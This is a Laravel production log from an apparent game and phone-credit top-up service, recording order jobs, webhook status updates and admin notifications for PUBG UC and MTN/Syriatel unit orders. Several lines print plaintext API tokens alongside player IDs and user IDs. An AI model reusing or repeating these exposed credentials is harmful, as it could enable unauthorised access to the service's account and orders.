[2026-03-24 16:52:03] production.ERROR: Operation not found for external_order: ORD-AL8FBnY-1774360146 in chunk 1 {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:52:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"chunk_number":1,"processed":0,"errors":1,"total_operations":0,"total_orders":0,"total_codes":0,"total_refunds":0} 
[2026-03-24 16:52:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"total_processed":0,"total_errors":1,"chunks_processed":1} 
[2026-03-24 16:52:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":1} 
[2026-03-24 16:52:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":1} 
[2026-03-24 16:52:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":2,"order_ids":["ORD-4Rd6rm-1774360212","ORD-x9js-1774360258"]} 
[2026-03-24 16:52:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:52:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":2} 
[2026-03-24 16:52:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-x9js-1774360258","operation_id":163851,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 16:52:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-x9js-1774360258","operation_id":163851,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 16:52:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-x9js-1774360258","operation_id":163851,"count":2} 
[2026-03-24 16:52:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-x9js-1774360258","operation_id":163851,"count":2} 
[2026-03-24 16:52:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-x9js-1774360258","operation_id":163851,"user_id":1056,"notification_type":"order_approved","reference_id":178942} 
[2026-03-24 16:52:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-x9js-1774360258","operation_id":163851,"user_id":1056,"notification_type":"order_approved","reference_id":178943} 
[2026-03-24 16:52:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-x9js-1774360258","operation_id":163851,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 16:52:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-x9js-1774360258","operation_id":163851,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 16:52:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-x9js-1774360258","operation_id":163851,"processed":2,"errors":0} 
[2026-03-24 16:52:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-x9js-1774360258","operation_id":163851,"processed":2,"errors":0} 
[2026-03-24 16:52:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"BSu1fL1Jgy6fTGEeXvZ21szAyD27A6ms","execution_time":"2026-03-24 16:52:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-x9js-1774360258","operation_id":163851} 
[2026-03-24 16:52:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 16:52:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1526  
[2026-03-24 16:52:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 16:52:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 16:52:06] production.INFO: Constructing job for order: 178946  
[2026-03-24 16:52:09] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-lnd-1774360313","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:52:09] production.INFO: Processed webhook data (normalized) {"id":"ORD-lnd-1774360313","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:52:09] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:52:09] production.INFO: SendAcceptReject: Notification queued {"user_id":315,"notification_type":"order_approved","reference_id":178944} 
[2026-03-24 16:52:09] production.INFO: Order updated successfully. Order ID: 178944, Status: completed  
[2026-03-24 16:52:09] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-lnd-1774360313","status":"completed","codes_count":0} 
[2026-03-24 16:52:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 16:52:09] production.INFO: Handling job for order: 178946  
[2026-03-24 16:52:09] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:52:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:52:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=6c56a59d-6e99-4528-a711-22272f2b2e7f&Player_ID=0954629138  
[2026-03-24 16:52:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=6c56a59d-6e99-4528-a711-22272f2b2e7f&Player_ID=0954629138","has_body":false} 
[2026-03-24 16:52:10] production.INFO: Operation sent successfully {"operation_id":163854,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tpS-1774360330","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 16:52:10"}},"processed_data":{"order_number":"ORD-tpS-1774360330","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 16:52:11] production.INFO: SendAcceptReject: Notification queued {"user_id":376,"notification_type":"order_approved","reference_id":178911} 
[2026-03-24 16:52:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 376  
[2026-03-24 16:52:39] production.INFO: Constructing job for order: 178947  
[2026-03-24 16:52:40] production.INFO: Handling job for order: 178947  
[2026-03-24 16:52:40] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:52:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:52:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/44/params?qty=1&uuid=494a346a-31dc-43cd-8aad-d3ec618aa507&Player_ID=0936552171  
[2026-03-24 16:52:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/44/params?qty=1&uuid=494a346a-31dc-43cd-8aad-d3ec618aa507&Player_ID=0936552171","has_body":false} 
[2026-03-24 16:52:41] production.INFO: Operation sent successfully {"operation_id":163855,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-tqA-1774360360","amount":111.6259500000000031150193535722792148590087890625,"status":"processing","product":"105.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 16:52:41"}},"processed_data":{"order_number":"ORD-tqA-1774360360","amount":111.6259500000000031150193535722792148590087890625,"status":"processing","product":"105.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 16:53:57] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"3660.0","mainamount":"3660","operation_number":"158441825","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpdn2g45s3ij1t1VzVfMZ"}},"user_id":194} 
[2026-03-24 16:53:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:53:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 16:53:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:53:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:53:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:53:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:53:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:53:59] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:53:59] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18655,"user_id":194,"amount":3660.0,"admins_notified":7} 
[2026-03-24 16:54:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02"} 
[2026-03-24 16:54:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","total_operations":4,"sites_count":2} 
[2026-03-24 16:54:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-vaAee9-1774358736","ORD-j5G7ZL-1774360319"]} 
[2026-03-24 16:54:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:54:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 16:54:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 16:54:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:54:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 16:54:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:54:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":2,"order_ids":["ORD-tpS-1774360330","ORD-tqA-1774360360"]} 
[2026-03-24 16:54:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:54:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":2} 
[2026-03-24 16:54:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tqA-1774360360","operation_id":163855,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 16:54:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tqA-1774360360","operation_id":163855,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 16:54:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tqA-1774360360","operation_id":163855,"count":2} 
[2026-03-24 16:54:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tqA-1774360360","operation_id":163855,"count":2} 
[2026-03-24 16:54:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tqA-1774360360","operation_id":163855,"user_id":1056,"notification_type":"order_approved","reference_id":178946} 
[2026-03-24 16:54:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tqA-1774360360","operation_id":163855,"user_id":1056,"notification_type":"order_approved","reference_id":178947} 
[2026-03-24 16:54:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tqA-1774360360","operation_id":163855,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 16:54:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tqA-1774360360","operation_id":163855,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 16:54:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tqA-1774360360","operation_id":163855,"processed":2,"errors":0} 
[2026-03-24 16:54:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tqA-1774360360","operation_id":163855,"processed":2,"errors":0} 
[2026-03-24 16:54:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"RCigqEKwlkp7imjc3ri6c1404L9qujn1","execution_time":"2026-03-24 16:54:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tqA-1774360360","operation_id":163855} 
[2026-03-24 16:54:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 16:54:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 16:54:31] production.INFO: Constructing job for order: 178948  
[2026-03-24 16:54:31] production.INFO: Constructing job for order: 178949  
[2026-03-24 16:54:31] production.INFO: Constructing job for order: 178950  
[2026-03-24 16:54:32] production.INFO: Handling job for order: 178950  
[2026-03-24 16:54:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:54:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:54:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=28fec632-5552-4b0e-892a-e7913a72c704&Player_ID=52240952670  
[2026-03-24 16:54:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=28fec632-5552-4b0e-892a-e7913a72c704&Player_ID=52240952670","has_body":false} 
[2026-03-24 16:54:33] production.INFO: Operation sent successfully {"operation_id":163856,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ncCtk2-1774360473","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:54:33"}},"processed_data":{"order_number":"ORD-ncCtk2-1774360473","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 16:54:33] production.INFO: Handling job for order: 178949  
[2026-03-24 16:54:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:54:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:54:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b659abba-78fc-4468-8e18-8fd0b8ed4781&Player_ID=52245909262  
[2026-03-24 16:54:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b659abba-78fc-4468-8e18-8fd0b8ed4781&Player_ID=52245909262","has_body":false} 
[2026-03-24 16:54:34] production.INFO: Operation sent successfully {"operation_id":163857,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qlAcey9-1774360473","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:54:34"}},"processed_data":{"order_number":"ORD-qlAcey9-1774360473","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:54:34] production.INFO: Handling job for order: 178948  
[2026-03-24 16:54:34] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:54:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:54:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8fe733f2-a5a8-4594-a4eb-2238cd03a306&Player_ID=52312272747  
[2026-03-24 16:54:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=8fe733f2-a5a8-4594-a4eb-2238cd03a306&Player_ID=52312272747","has_body":false} 
[2026-03-24 16:54:35] production.INFO: Operation sent successfully {"operation_id":163858,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MK376z6-1774360474","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:54:35"}},"processed_data":{"order_number":"ORD-MK376z6-1774360474","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:54:38] production.INFO: Constructing job for order: 178951  
[2026-03-24 16:54:41] production.INFO: Handling job for order: 178951  
[2026-03-24 16:54:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:54:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:54:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=ca70874b-76b0-45f4-8bda-2a3efaa61f45&Player_ID=5563801894  
[2026-03-24 16:54:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=ca70874b-76b0-45f4-8bda-2a3efaa61f45&Player_ID=5563801894","has_body":false} 
[2026-03-24 16:54:41] production.INFO: Operation sent successfully {"operation_id":163859,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zPxti-1774360481","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:54:41"}},"processed_data":{"order_number":"ORD-zPxti-1774360481","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:54:42] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ncCtk2-1774360473","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:54:42] production.INFO: Processed webhook data (normalized) {"id":"ORD-ncCtk2-1774360473","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:54:42] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:54:42] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":178950} 
[2026-03-24 16:54:42] production.INFO: Order updated successfully. Order ID: 178950, Status: completed  
[2026-03-24 16:54:42] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ncCtk2-1774360473","status":"completed","codes_count":0} 
[2026-03-24 16:54:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 16:54:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-qlAcey9-1774360473","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:54:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-qlAcey9-1774360473","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:54:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:54:45] production.INFO: SendAcceptReject: Notification queued {"user_id":315,"notification_type":"order_approved","reference_id":178949} 
[2026-03-24 16:54:45] production.INFO: Order updated successfully. Order ID: 178949, Status: completed  
[2026-03-24 16:54:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-qlAcey9-1774360473","status":"completed","codes_count":0} 
[2026-03-24 16:54:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 16:54:48] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MK376z6-1774360474","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:54:48] production.INFO: Processed webhook data (normalized) {"id":"ORD-MK376z6-1774360474","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:54:48] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:54:48] production.INFO: SendAcceptReject: Notification queued {"user_id":354,"notification_type":"order_approved","reference_id":178948} 
[2026-03-24 16:54:48] production.INFO: Order updated successfully. Order ID: 178948, Status: completed  
[2026-03-24 16:54:48] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MK376z6-1774360474","status":"completed","codes_count":0} 
[2026-03-24 16:54:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 354  
[2026-03-24 16:54:56] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-zPxti-1774360481","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:54:56] production.INFO: Processed webhook data (normalized) {"id":"ORD-zPxti-1774360481","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:54:56] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:54:57] production.INFO: SendAcceptReject: Notification queued {"user_id":102,"notification_type":"order_approved","reference_id":178951} 
[2026-03-24 16:54:57] production.INFO: Order updated successfully. Order ID: 178951, Status: completed  
[2026-03-24 16:54:57] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-zPxti-1774360481","status":"completed","codes_count":0} 
[2026-03-24 16:54:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 102  
[2026-03-24 16:55:02] production.INFO: Executing GetProducts task...  
[2026-03-24 16:55:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:55:02] production.INFO: Executing GetProducts task...  
[2026-03-24 16:55:04] production.INFO: async() رجع: true  
[2026-03-24 16:55:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:55:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:55:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:55:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:55:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:55:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:55:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:55:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:55:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:55:06] production.WARNING: Product with ID 216 not found  
